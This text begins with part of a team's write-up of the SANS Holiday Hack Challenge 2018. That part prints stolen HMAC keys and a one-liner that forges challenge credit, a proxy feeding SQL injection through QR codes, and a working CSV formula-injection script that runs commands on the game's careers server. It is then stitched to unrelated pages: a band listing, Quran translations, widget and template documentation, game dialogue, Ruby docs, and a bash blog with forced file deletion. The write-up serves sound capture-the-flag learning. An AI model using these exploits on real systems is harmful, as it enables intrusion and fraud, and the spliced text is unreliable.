| Theo Authorized User | Scan-O-Matic Database | Die Hard (he was the hacker) | Only authorized and enabled user |
| Bill Clay | Wannacookie HTML Source | Die Hard (Hans' alias) | |
| InigoMontoya | Vents Code | Princess Bride | |
| Happy Trails | Answer 1 | Die Hard | |
| John McClane | Answer 2 | Die Hard | |
| Yippee-ki-yay | Answer 4 | Die Hard | |
| 19880715 | Answer 5 | Die Hard | Movie release date |
| Fancy Beaver | Answer 7 | Fancy Bear APT Group | |
| erohetfanu.com | Answer 10 | Die Hard | hansgruber ROT-13 and backwards |
| yippeekiyaa.aaay | Answer 11 | Die Hard | |
| Piano Lock & Rachmaninoff | Answer 12 | Willy Wonka | |
| Many Hans quotes | KringleCon | Die Hard | |
| Toy Soldier quotes | KringleCon | Die Hard | From Hans' German-speaking associates |
| Dungeon for Errant Reindeer | Hans Quote | 2016 HHC | |
| ATNAS Corporation, Miss Cindy Lou Who | Hans Quote | 2015 HHC | |
| Glinda the Good Witch | Hans Quote | 2017 HHC | |
| The Plant | Front Door | Previous HHCs, psmitty | First person to get all challenge coins! |
Thank Yous
As proud as we are to have completed this Holiday Hack Challenge, we would be remiss to not publicly acknowledge a few people outside of this team who helped us during the challenge.
Justin Azoff (Corelight): Helped greatly on the Scan-O-Matic as well as some other thoughts and ideas throughout
Michael Sinatra (ESnet): Helped us figure out why we were unable to query Hans’ DNS resolver from Linux/macOS at first (search for noedns for more info)
Nick Buraglio (ESnet): Thanks to his time pretending to be Randall from the movie “Clerks” he immediately thought of the musical lock in Charlie and the Chocolate Factory when we were first stuck on that
We're also very grateful to SANS for this event, recognizing all the hard work that went into it.
But, most of all, we also need to thank our significant others for putting up with our efforts leading to some late nights and busy weekends. We all may need to stop at the florist on the way home today.
Appendix 1: Reverse Engineering PyInstaller Binaries
On some of the terminals, we would need to invoke a command, such as
runtoanswer
and provide the correct answer in order to receive
credit for that terminal. Other terminals would automatically invoke
a command once a certain condition has been met. Inspecting these
files, we discovered that they were standalone Linux ELF binaries,
which had been packaged by PyInstaller from a standalone Python
script. We wanted to recover the original Python script, and were able to do just that.
Extracting the code object
PyInstaller provides a tool,
pyi-archive_viewer
, for inspecting archives and binaries created with it.First, we install pyinstaller:
pip install pyinstaller
. Now we can usepyi-archive_viewer
to inspect our file:$ pyi-archive_viewer -l runtoanswer # pos, length, uncompressed, iscompressed, type, name [(0, 158, 175, 1, 'm', u'pyimod00_crypto_key'), (158, 254, 332, 1, 'm', u'struct'), (412, 1144, 1992, 1, 'm', u'pyimod01_os_path'), (1556, 4460, 10063, 1, 'm', u'pyimod02_archive'), (6016, 7539, 19710, 1, 'm', u'pyimod03_importers'), (13555, 1900, 4513, 1, 's', u'pyiboot01_bootstrap'), (15455, 2182, 18185, 1, 's', u'psmenu'), ...
An ELF binary can have arbitrary data at the end of the file, and in our case, PyInstaller appends an archive with scripts, modules, and even shared objects that it needs to run the script.
In this instance, we want the script
psmenu
, which is at offset 15,455 relative to the start of the archive (note: not from the beginning of the ELF binary). The script has a length of 2,182 bytes compressed, and 18,185 uncompressed. The type denotes that it's a script, and its original name waspsmenu
.We can create a one-liner to generate the name of the script we want to extract:
pyi-archive_viewer -l runtoanswer | grep -A1 bootstrap | tail -n 1 | cut -f 4 -d"'"
We're grabbing the line which comes after bootstrap, and then we're grabbing the 4th field, as delimited by single-quotes.
Now we can use
pyi-archive_viewer
to extract and uncompress our file:$ pyi-archive_viewer runtoanswer ... ? x psmenu to filename? psmenu.extracted ? q
Converting the code object to a .pyc file
After some investigation, it turned out that what we've extracted is just a Python code object. We can import it into Python and view a disassembly, but in order to use some decompiling tools to try to recover source code, we need to have a byte-compiled Python file. To convert it, we just need to add a few bytes of header values. The easiest way to do this is just to extract another file, which is a valid pyc file, and copy the bytes from its header. We use
pyi-archive_viewer
to extractpyimod03_importers
, and we can verify that it has the right header:$ file * psmenu.extracted: data pyimod03_importers: python 3.5.2+ byte-compiled
The pyc file format calls for a 12-byte header, so we can grab the first 12 bytes using
dd
and save it to a file:dd if=pyimod03_importers of=pyc_header bs=1 count=12
Next we simply concatenate the two files:
cat pyc_header psmenu.extracted > psmenu.pyc
.Decompiling the .pyc file Now that we have a valid .pyc file, we can use
uncompyle6
to convert it back to a Python script:uncompyle6 psmenu.pyc > psmenu.py
Appendix 2: Game Internals: HMACs and Hidden Terminal Messages
In order to receive credit for successfully completing a game objective, such as a Cranberry Pi terminal challenge, or an objective, HMACs are used. In this section, we'll discuss how they're used, and how we were able to forge these after stealing the keys for some of the challenges.
Recovering the HMAC keys
After reverse engineering one of the runtoanswer
binaries on a
Cranberry Pi system, we can see how the scripts generate the
HMAC:
import hmac def calcHmac(secret, resourceId): return hmac.new(secret.encode('utf8'), resourceId.encode('utf8'), sha256).hexdigest() def printResponse(hash, resourceId): print('#####hhc:%s#####' % json.dumps({'hash': hash, 'resourceId': resourceId})) if __name__ == '__main__': RESOURCEID = os.environ.get('RESOURCE_ID') key = '2bb6b9c702834095a9c3284e053da124' h = hmac.new(key.encode('utf8'), RESOURCEID.encode('utf8'), sha256) payload = {'hash': h.hexdigest(),'resourceid': RESOURCEID} hmac256 = calcHmac(key, RESOURCEID) printResponse(hmac256, RESOURCEID)
Each in-game element (terminal, objective, etc.) has a unique resource ID, and each user receives different resource IDs. These IDs are passed to the terminal via a GET parameter.
The terminals print a special message, which is hidden by the JavaScript TTY terminal.
We can create a bash one-liner to just give ourselves credit for this challenge, without actually solving it:
RESULT=$(echo -n RESOURCE_ID | openssl dgst -sha256 -hmac 48e41d5cc5e041c0869395bb8cab791e | sed 's/^.* //'); \ echo; echo '#####hhc:{"hash": "'$RESULT'", "resourceId": "'$RESOURCE_ID'"}#####'
This duplicates the logic in the Python script. It uses OpenSSL to calculate the HMAC, and then it prints the hidden message, which causes the game to give us credit.
Challenge Keys
| Terminal | Direct URL | HMAC Key |
|---|---|---|
| Essential Editor Skills | viescape | 2bb6b9c702834095a9c3284e053da124 |
| The Name Game | pwshmenu | 78871929eec84c94806623a086b376f0 |
| Lethal ForensicELFification | viminfo | 48e41d5cc5e041c0869395bb8cab791e |
| Stall Mucking Report | plaintext-creds | |
| CURLing Master | http2 | |
| Yule Log Analysis | spray-detect |<PHONE_NUMBER>3d4c58b0e2e5ed869c3677 |
| Dev Ops Fail | gitpasshist | 32f7f08dbb014bb3a288ecc9ecce1486 |
| Python Escape from LA | python_docker_challenge | 09f90c21d59845a7b0c972b8e871e8fe |
| The Sleighbell Lottery | unlinked-function | a6ec0e49731b4c29907422c23794b9a6 |
| Snort | snort | 4069e612c5d44c69b9ba302ce63968d7 |
The Sleighbell Lottery key was recovered with gdb
.
Appendix 3: Scripts and Tools
As part of this report, we're releasing our scripts and tools at: https://github.com/esnet/sans-holiday-hack-2018
Some select tools, which were mentioned in this report are listed below:
Scan-O-Matic
We wrote this simple script to create and upload a QR code:
#!/bin/bash BADGE=$(mktemp -t badge) CMD="$1" qrencode -t ansi "$CMD" -o $BADGE -t PNG mv $BADGE $BADGE.png curl -s 'https://scanomatic.kringlecastle.com/upload' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: resource_id=false' -H 'Connection: keep-alive' -F<EMAIL_ADDRESS>rm $BADGE.png
We wanted to used tools that can automatically map SQL databases, such as sqlmap
, but they all use URLs, and not QR codes. So we hacked together this script, which calls the badge shell script, and just acts as a go-between:
from subprocess import Popen, PIPE import urllib from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/') def proxy(): uid = urllib.unquote(request.args.get('uid', '')) p = Popen(['bash', './upload.sh', uid], stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() return jsonify(output)
Careers
Uploading a CSV file by hand became old fast, so we wrote this:
#!/usr/bin/env python import sys import time import uuid import requests cmd = sys.argv[1] output = uuid.uuid4().hex + '.txt' data = {'firstname': 'Willy', 'lastname': 'Wonka', 'phone': '1234567890', 'email'<EMAIL_ADDRESS>files = {'csv': ('work_history.csv', "=cmd|'/C %s > C:\\careerportal\\resources\\public\\%s 2>&1'!A0" % (cmd, output))} r = requests.post('https://careers.kringlecastle.com/api/upload/application', data=data, files=files) print "Submitted, and recieved", r.status_code print 'Result should be in https://careers.kringlecastle.com/public/' + output while True: r = requests.get('https://careers.kringlecastle.com/public/' + output) if '404 Error!' not in r.text: print r.text[2:].decode('utf-16') break else: print "Not yet..." time.sleep(5) if len(sys.argv) == 3: with open("output/" + sys.argv[2], 'wb') as f: f.write(str(r.text[2:].decode('utf-16')))
It takes a command as an argument, will upload it, and then poll the server to get the result.
Malware
We used the following script to search for other files the malware author may have left on the system:
#!/usr/bin/env python import binascii import sys import dns.name import dns.resolver if len(sys.argv) < 2: print "Usage: filename" sys.exit(1) PATH = "erohetfanu_exfil" erohet = dns.resolver.Resolver() erohet.nameservers = ['<IP_ADDRESS>'] def query(name): print "Querying", name result = erohet.query("%s.erohetfanu.com" % name, "TXT").response.answer[0][-1].strings[0] return result filename = sys.argv[1] hex_file = binascii.hexlify(filename) result = query(hex_file) if result == "404NOTFOUND": print "File does not exist" sys.exit(1) try: chunks = int(result) except ValueError: print "Suspicious value", result with open(PATH + "/suspicious", 'a') as f: f.write(filename + ": " + result + "\n") sys.exit(1) filename = filename.replace("..", "<DOTDOT>") filename = filename.replace("/", "<SLASH>") with open(PATH + "/%s" % filename, 'wb') as f: for chunk in range(chunks): if chunks > 1000 and chunk % 100 == 0 and chunk != 0: print "On chunk", chunk f.write(binascii.unhexlify(query("%s.%s" % (chunk, hex_file)))) print "Written to", PATH + "/%s" % filename
Maze Solver
# Python 3 import requests import re import time location_keys = {} location_shafts = {} def move(heading, x, y, f, action='forward', resourceid='inigomontoya'): key = location_keys[(x, y, f)] return requests.post('https://vents.kringlecastle.com/move', data = {'heading': heading, 'mazex': x, 'mazey': y, 'mazef': f, 'playeraction': action, 'locationkey': key, 'resourceid': resourceid}) def parse(result): # default action a = "forward" # Check for a change in response size. # We did this (with some other code adjustments) to fully explore every vent space # and verify there weren't any other secrets. # if(len(result.text) > 3514) or len(result.text) < 3509: # print("Length: ",len(result.text)) for line in result.text.split('\n'): if(re.search(r'Congratulations',line)): print(result.text) exit(1) if ' = ' not in line: continue data, val = line.split(' = ', 1) if '"' not in val: continue value = val.split('"')[1] if(re.search(r'arrow\-up',data) and value=="visible"): a="up" continue if(re.search(r'arrow\-down',data) and value=="visible"): a="down" continue match = re.search(r'namedItem\(\"(\w+)\"\)',data) if match is not None: key = match.group(1) if(key == "heading"): # we already know our heading, we don't really need this. heading=str(value) elif(key == "mazex"): x = int(value) elif(key == "mazey"): y = int(value) elif(key == "mazef"): f = int(value) elif(key == "locationkey"): lk = str(value) elif(key == "resourceid"): rid = str(value) if(rid != "inigomontoya"): print("Resource ID changed? %s",rid) exit(1) elif(key == "northwall"): n = value == "True" elif(key == "southwall"): s = value == "True" elif(key == "eastwall"): e = value == "True" elif(key == "westwall"): w = value == "True" else: print("Unknown namedItem: %s",key) # yeah yeah... we could throw an exception instead exit(1) try: location_keys[(x, y, f)] = lk except: print(result.text) return a, x, y, f, n, s, e, w def print_map(x,y,f): for j in range(1,20): for fl in range(1,3): for i in range(1,24): if(x == i and y == j and f == fl): print("X", end='') elif((i,j,fl) in location_shafts): print("%s" % location_shafts[(i,j,fl)], end='') elif((i,j,fl) in location_keys): print(chr(9608), end='') else: print(".", end='') print(" ", end='') print() def determine_heading(heading,n,w,s,e): # hug the right wall walls = [n,w,s,e] # The order we test in, wrapping as necessary. order = ['n','w','s','e'] directions = { 'n': 0, 'w': 1, 's': 2, 'e': 3 } cur = directions[heading] # to start, look right cur = (cur-1) % 4 for i in range(0,4): if walls[cur] == False: return order[cur] # check one turn to the left. cur = (cur+1) % 4 print("This should never happen, how did I get surrounded by walls?") exit(1) # Starting position x = 23 y = 19 f = 1 n, s, e, w = True, True, True, False location_keys[(23, 19, 1)] = 'ba49a09644aa8fa7fb0082e935f46521' heading = "w" action = "forward" location_shafts[(23,19,1)] = "S" i = 0 while(True): # determine move: heading = determine_heading(heading,n,w,s,e) result = move(heading, x, y, f, action=action) last_action = action action, x, y, f, n, s, e, w = parse(result) # a little more useful symbols for the map if(action == "up"): location_shafts[(x,y,f)] = "U" # TEMP don't go up, keep exploring # action = "forward" if(action == "down"): location_shafts[(x,y,f)] = "D" # TEMP don't go down from 2F, keep exploring # action = "forward" # don't get stuck going up and down in a loop if(action == "down" and last_action=="up"): action = "forward" elif(action == "up" and last_action=="down"): action = "forward" print("%i %i,%i,%i %s" % (i, x, y, f,location_keys[(x,y,f)])) # We know this is the exit in this case. if(action=="down"): print_map(x,y,f) # be nice time.sleep(0.50) # Just helps keep track of what's going on visually. i = i + 1 if(i == 20): print_map(x, y, f) i = 0 print_map(x, y, f)
Postscript: Police Report
Case No:<PHONE_NUMBER> (Note to filing clerk: make sure to put this in the case number line, NOT the phone number line, this is also Santa Claus’ phone number and it’s easy to confuse)
Date: 12/21/2018
Reporting Officer: Sgt. Al Powell
Prepared By: ESnet Security
Incident: On the day of the 18th, ESnet Security was told of hostages being taken at Kringlecon.
POLICE REPORT
Summary: After speaking to Santa’s Elves, we were warned that all was not as it seemed at Kringlecon. The Toy Soldiers appeared to be up to something. We were able to ascertain many clues throughout the castle using many different digital forensic techniques. These clues pointed us to our belief that the Toy Soldiers were actually working for Hans Gruber. Hans was in turn, working for none other than Santa Claus himself. It seems Santa Claus had a feeling he could use some investigative help at some point in the future, so he set up this test to see if we were the people he should call on in the future.
Figure 70: Hans Gruber, person of interest
1988: Kidnapping, Murder, Attempted Grand Larceny - Took hostages at Nakatomi Plaza in an attempt to steal $640 million dollars in bearer bonds
Figure 71: Santa Claus, interesting person
~280 AD - 2018: Breaking and entering into homes around the world every winter. Estimates suggest 640 million per year (coincidentally the same amount Hans attempted to steal)


{% load staticfiles %}
A dynamic, female-fronted rock'n'soul band revisiting classics from the 70's onwards, including Fleetwood Mac, Janis Joplin, Nina Simone, Pat Benatar, Stevie Nicks, Anastacia, Toto, and REM.
Available for Bars, Clubs, Weddings, Functions.
Elle Armstrong
Vocals
Luke Warwick-Soden
Guitar
Jem Caisley
Bass
Tom Johnson
Drums
{{dates}}{{venues}} | {{times}}
Further tour dates can be found at Ents24 and OnTheCase.
To contact Zephyr, or to make a booking, please call 07802 570326.


| 006:161 Khan | : |
Say (O Muhammad SAW): "Truly, my Lord has guided me to a Straight Path, a right religion, the religion of Ibrahim (Abraham), Hanifa [i.e. the true Islamic Monotheism - to believe in One God (Allah i.e. to worship none but Allah, Alone)] and he was not of Al-Mushrikun (see V.2:105)." |
| 006:161 Maulana | : |
Say: As for me, my Lord has guided me to the right path -- a right religion, the faith of Abraham, the upright one, and he was not of the polytheists. |
| 006:161 Pickthal | : |
Say: Lo! As for me, my Lord hath guided me unto a straight path, a right religion, the community of Abraham, the upright, who was no idolater. |
| 006:161 Rashad | : |
Say, "My Lord has guided me in a straight path - the perfect religion of Abraham, monotheism. He never was an idol worshiper." |
| 006:161 Sarwar | : |
(Muhammad), tell them, "My Lord has guided me to the right path, a well established religion and the upright tradition of Abraham who was not a pagan". |
| 006:161 Shakir | : |
Say: Surely, (as for) me, my Lord has guided me to the right path; (to) a most right religion, the faith of Ibrahim the upright one, and he was not of the polytheists. |
| 006:161 Sherali | : |
Say, 'My Lord has guided me unto a straight path - the right religion, the religion of Abraham, the upright. And he was not of those who associated gods with ALLAH. |
| 006:161 Yusufali | : |
Say: "Verily, my Lord hath guided me to a way that is straight,- a religion of right,- the path (trod) by Abraham the true in Faith, and he (certainly) joined not gods with Allah." |
Concepts/Themes Covered: أركان الإسلام > التوحيد > توحيد الله تعالي > التوحيد المطلق لله تعالى Pillars of Islam> Islamic> Oneness of Allah> The Absolute Monotheism of His Glory أركان الإسلام > التوحيد > توحيد الله تعالي > وحدانيته Pillars of Islam> Islamic> Oneness of Allah> Singularity and Being Unique أركان الإسلام > الدين > حقيقة الإسلام Pillars of Islam> Religion> The Reality of Islam أركان الإسلام > الدين > الدين عند الله Pillars of Islam> Religion> The Kind of Religion to Allah
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


|
Alignment
|
Sets the horizontal alignment for the column
|
|
Backcolor
|
Sets or gets the background color for a column as a hex number
|
|
Caption
|
Sets or gets the text that appears in the column header
|
|
Clickable
|
If set to true, the user is able to click on the header of the column
|
|
Expand
|
If set to true, the column is able to expands itself to fill any available space
|
|
FixedWidth
|
Sets or gets the fixed width of the column
|
|
FontDescription
|
Set or gets the description of the font to use for the text column
|
|
ForeColor
|
Sets or gets the foreground color for a column as a hex number
|
|
MaxWidth
|
Sets or gets the maximum width of the column or -1 if no maximum is set
|
|
MinWidth
|
Sets or gets the minimum width of the column or -1 if no minimum is set
|
|
Reorderable
|
If set to true, the user can reorder the column
|
|
Resizable
|
Making a column resizable will allow the user to resize the column (by setting to true)
|
|
Sensitive
|
If set to true, the column header is sensitive when the mouse passes over the column header
|
|
Sizing
|
Sets or gets the sizing type of the column
|
|
SortIndicator
|
Shows(if true) or hides(if false) an arrow in the header button indicating that the column is sorted
|
|
SortIndicatorType
|
Sets or gets the direction of the sort indicator arrow
|
|
Visible
|
Show (if true) or hide (false) a tree column
|
|
Wrap
|
Sets or gets the line wrapping for the text column
|
|
XAlign
|
Sets or gets the horizontal alignment for the text in column
|
|
XPadding
|
Sets or gets the amount of space to add on the left and right of the column text
|
|
YAlign
|
Sets or gets the vertical alignment for the text in the column
|
|
YPadding
|
Sets or gets the amount of space to add on the top and bottom of the text in the column
|


Introduction
Introduction
MaterialPro admin is a popular open source WebApp template for admin dashboards and control panels. MaterialPro is fully responsive HTML template, which is based on the CSS framework Bootstrap 4. It utilizes all of the Bootstrap components in its design and re-styles many commonly used plugins to create a consistent design that can be used as a user interface for backend applications. MaterialPro is based on a modular design, which allows it to be easily customized and built upon. This documentation will guide you through installing the template and exploring the various components that are bundled with the template.
We put a lot of love and effort to make MaterialPro Admin a useful template for everyone and now It comes with 5 unique demos. We are keen to release continuous long term updates and lots of new features will be coming soon in the future releases. Once you purchased MaterialPro Admin, you will be entitled to free download of all future updates for the same license.
Support
- Includes:
- Answering your questions or problems regarding the template.
- Giving solution to the Bugs reported.
- Does Not Includes:
- Custmaization Work
- Any Installation Work
- Support for any Third Party Plugins / Software
- Support or Guide for How to integrate with any technologies (like, PHP, .net, Java etc)
- Solve bug in your implemented template
Structure
After purchasing our template extract the zip file and you will see this structure.
├── MaterialPro Admin
├── docs
├── landingpage
└── assets
│ ├── images
│ ├── plugins/
│ │ └── contains all plugins related to admin template
│ │
├── email-templates
│ ├── html files
├── main
│ ├── css/
│ │ └── contains compiled css
│ ├── js/
│ │ └── contains all js files related to admin template
│ ├── scss/
│ │ └── contains scss files
├── dark
│ ├── css/
│ │ └── contains compiled css
│ ├── js/
│ │ └── contains all js files related to admin template
│ ├── scss/
│ │ └── contains scss files
├── horizontal
│ ├── css/
│ │ └── contains compiled css
│ ├── js/
│ │ └── contains all js files related to admin template
│ ├── scss/
│ │ └── contains scss files
├── minimal
│ ├── css/
│ │ └── contains compiled css
│ ├── js/
│ │ └── contains all js files related to admin template
│ ├── scss/
│ │ └── contains scss files
├── minisidebar
│ ├── css/
│ │ └── contains compiled css
│ ├── js/
│ │ └── contains all js files related to admin template
│ ├── scss/
│ │ └── contains scss files
├── main-rtl
│ ├── css/
│ │ └── contains compiled css
│ ├── js/
│ │ └── contains all js files related to admin template
│ ├── scss/
│ │ └── contains scss files
Third Party Plugins (Credits)
bootstrap
https://getbootstrap.com/jQuery Block-UI
http://malsup.com/jquery/block/bootstrap-colorpicker
https://itsjavi.com/bootstrap-colorpicker/bootstrap-datepaginator
https://github.com/jonmiles/bootstrap-datepaginatorbootstrap-datepicker
https://bootstrap-datepicker.readthedocs.io/en/stable/bootstrap-duallistbox
http://www.virtuosoft.eu/code/bootstrap-duallistbox/bootstrap-material-datetimepicker
https://github.com/T00rk/bootstrap-material-datetimepickerbootstrap-switch
https://github.com/Bttstrp/bootstrap-switch/releases/tag/v3.3.4bootstrap-touchspin
https://www.virtuosoft.eu/code/bootstrap-touchspin/chart.js
https://www.chartjs.org/chartist-plugin-tooltips
https://github.com/gionkunz/chartist-jsckeditor
https://ckeditor.com/clockpicker
http://weareoutman.github.io/clockpicker/datatables
https://datatables.net/daterangepicker
http://www.daterangepicker.com/dropzone
https://www.dropzonejs.com/footable
https://fooplugins.com/footable/fullcalendar
https://fullcalendar.io/gmaps
https://hpneo.dev/gmaps/jquery
https://api.jquery.com/jquery.flot.tooltip
http://www.flotcharts.org/jquery.repeater
https://github.com/DubFriend/jquery.repeaterjquery-asColor
https://github.com/thecreation/jquery-asColorjquery-asColorPicker
https://github.com/thecreation/jquery-asColorPickerjquery-asGradient
https://github.com/thecreation/jquery-asGradientjquery-sessiontimeout
https://github.com/travishorn/jquery-sessionTimeoutjquery-steps
http://www.jquery-steps.com/jquery-validation
https://jqueryvalidation.org/jsgrid
http://js-grid.com/jvectormap
http://jvectormap.com/magnific-popup
https://dimsemenov.com/plugins/magnific-popup/masonry-layout
https://masonry.desandro.com/moment
https://momentjs.com/morris.js
https://morrisjs.github.io/morris.js/nestable
https://dbushell.com/Nestable/pickadate
https://amsul.ca/pickadate.js/popper.js
https://popper.js.org/Note:
- We have used our name and brand as credit in CSS / Js we have created, you need to change / remove that if you want while using in your personal or client projects.
- You will find name and brand of each third-party tools we have used, as credit in their respective css / js, you can remove or change as per your need.
- We have used third-party tools / plugins in our templates, you will find links from left navigation (menu) as Third Party Tools and you can find their documentation from their respective websites link we have given.
- We do not offer support on any third-party plugins / tools we have used.


Trader Espen:
Oh Oh?! Could it be...? Is that really Muska's Map? Where did you find it? Let me buy the Map from you! It won't do you any good anyway. Why should you keep it? I'll pay you 1000 Adena for it!
Sell the Map.
"I don't want to sell it."


Class: JsonapiCompliable::Stats::Payload
- Inherits:
-
Object
- Object
- JsonapiCompliable::Stats::Payload
- Defined in:
- lib/jsonapi_compliable/stats/payload.rb
Overview
Generate the stats payload so we can return it in the response.
{
data: [...],
meta: { stats: the_generated_payload }
}
For example:
{
data: [...],
meta: { stats: { total: { count: 100 } } }
}
Instance Method Summary collapse
-
#generate ⇒ Hash
Generate the payload for { meta: { stats: { … } } } Loops over all calculations, computes then, and gives back a hash of stats and their results.
-
#initialize(resource, query_hash, scope) ⇒ Payload
constructor
A new instance of Payload.
Constructor Details
#initialize(resource, query_hash, scope) ⇒ Payload
Returns a new instance of Payload
20 21 22 23 24 |
# File 'lib/jsonapi_compliable/stats/payload.rb', line 20 def initialize(resource, query_hash, scope) @resource = resource @query_hash = query_hash[:stats] @scope = scope end |
Instance Method Details
#generate ⇒ Hash
Generate the payload for { meta: { stats: { … } } } Loops over all calculations, computes then, and gives back a hash of stats and their results.
30 31 32 33 34 35 36 37 38 39 40 |
# File 'lib/jsonapi_compliable/stats/payload.rb', line 30 def generate {}.tap do |stats| @query_hash.each_pair do |name, calculation| stats[name] = {} each_calculation(name, calculation) do |calc, function| stats[name][calc] = function.call(@scope, name) end end end end |


Music Management With the Swiss Army Chainsaw
Last night I was cleaning out my music collection… I know, not the most interesting Saturday night, but over the last decade my collection has gotten a little hairy.
It’s also grown to the size that pruning it by hand with Finder is nearly impossible.
Initially, I just wanted to find some files which had been accidentally duplicated. There were folders with a bunch of songs titled file.mp3 and file 1.mp3. My first stab at this had me listing files and then filtering them by piping them to grep, and yielded commands that looked like this ls -Rd | grep -i ’ 1.mp3’.
After some filtering like that for a while I realized that find might be a better tool for the job.
I looked at find and ran several test to figure out what I wanted. I came up with find /Volumes/Strand/iTunes\ Music/Music\ Archive/ -type f -iname ‘* 1.MP3’ -exec rm -f {} \; which finds all the files in my Music Archive which have the case-insensitive suffix of ‘1.mp3’, and when it finds them, it removes them with force, that is, it deletes the files without checking with me first.
After feeling the immense power of find I couldn’t stop. I had to delete empty directories with find /Volumes/Strand/iTunes\ Music/Music\ Archive/ -type d -empty -exec rm -f {} \;
Then, I got curious, which was my first mistake. Could I come up with something that would find all of the directories with folders with just one file in them? After all, my archive was cluttered up with plenty of one-hit wonders. To figure out how many files a directory has you can run ls -1 | wc -l. Which is to say, list all of the files in the current directory, each on a line, then pipe the results into the word count tool which is set to count the number of lines.
I experimented with using these commands in the -exec argument on find, but I ran into errors indicating that I needed to have a better understanding of bash fu to solve this problem.
So I went out for pho. When I got back to my apartment this problem was still tickling my brain, so I went to the bash IRC and asked for some advice.
With their help, I eventually ran time find /Volumes/Strand/iTunes\ Music/Music\ Archive/ -type d -exec bash -c ‘cd “$1”; f=(); (( ${#f[]} == 1 )) && [[ -f $f ]] && echo “$1” >> ~/Code/singletons.txt’ _ {} \; && say “I’m done” which listed out all of the singletons in a text file for me. Though I must admit this incantation is voodoo to me. This is likely a problem which a shell script, rather than a one-liner, would be more apt to solve.
It was plenty fun to play around in the shell, I hope that next time I’m better able to puzzle out quickly which commands are useful.
Lessons learned: bash is a great music management tool, if you don’t mind pruning your collection with the Swiss Army chainsaw, the bash IRC is friendly and active, and appending “; say ‘Imdone’” to commands that run more than ten seconds will save your sanity.